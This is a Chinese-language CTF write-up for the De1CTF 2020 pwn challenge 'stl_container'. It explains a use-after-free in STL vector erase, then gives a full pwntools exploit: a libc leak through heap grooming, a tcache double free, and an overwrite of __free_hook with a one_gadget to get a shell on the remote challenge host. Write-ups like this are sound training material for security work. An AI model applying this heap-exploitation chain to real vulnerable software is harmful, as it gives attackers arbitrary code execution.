De1CTF 2020 Pwn stl_container

漏洞点是:使用C++中的STL中vector存储对象的指针时,在earse清除其中元素时,总会调用最后一个对象的析构函数,最终导致存在悬空指针,并且可以被使用,即UAF。其使用的方式是可以继续free以及show其内容。

利用方式:本题libc版本为2.27,故可以使用构造tcache的DoubleFree完成任意地址写任意值。题目开启了全部保护,所以首先通过堆排布的手段泄露libc基址。然后通过DoubleFree覆盖libc中的__free_hook函数指针为one_gadget,并触发即可getshell。

漏洞成因在做题的时候不是很明白,但是经过简单的测试以及调试就能发现打印出了奇怪的字符串,所以做题未必非要清楚漏洞成因:

from pwn import *
context(arch="amd64",os ='linux',log_level='debug')
myelf = ELF("./stl_container")
libc  = ELF('./libc-2.27.so')
io    = remote("134.175.239.26",8848)
#io    = process(myelf.path,env={"LD_PRELOAD" : libc.path})

uu64        = lambda data                 :  u64(data.ljust(8, b'\0'))
sla         = lambda delim,data           :  (io.sendlineafter(delim, data))
List        = lambda                      :  (sla(">> ",'1'))
vector      = lambda                      :  (sla(">> ",'2'))
queue       = lambda                      :  (sla(">> ",'3'))
stack       = lambda                      :  (sla(">> ",'4'))
add         = lambda data                 :  (sla(">> ",'1'),sla("data:",data))
delete      = lambda idx                  :  (sla(">> ",'2'),sla("?\n",str(idx)))
show        = lambda idx                  :  (sla(">> ",'3'),sla("?\n",str(idx)))

# full tache
vector();add("123")
vector();add("456")
List();add("123")
List();add("123")
queue();add("123")
queue();add("456")
stack();add("123")
stack();add("456")
stack();vector()
stack();vector()
queue();vector()
queue();vector()
List();delete(1)
List();delete(0)

# free chunks to unsorted bin
vector();delete(0)

# leak libc
vector();show(0)
io.recvuntil(": ")
libc_addr = uu64(io.recv(6))-0x3ebca0
log.warn(hex(libc_addr))

# clear tcache
List();add("123")
List();add("123")
queue();add("123")
queue();add("456")
stack();add("123")
stack();add("456")
vector();add("123")

# tcache double free for arbitrary address write
vector();delete(0)
vector();delete(0)

# use aaw to modify __free_hook to one_gadget
vector();add(p64(libc_addr+libc.symbols['__free_hook']))
vector();add(p64(libc_addr+0x4f322))

io.interactive()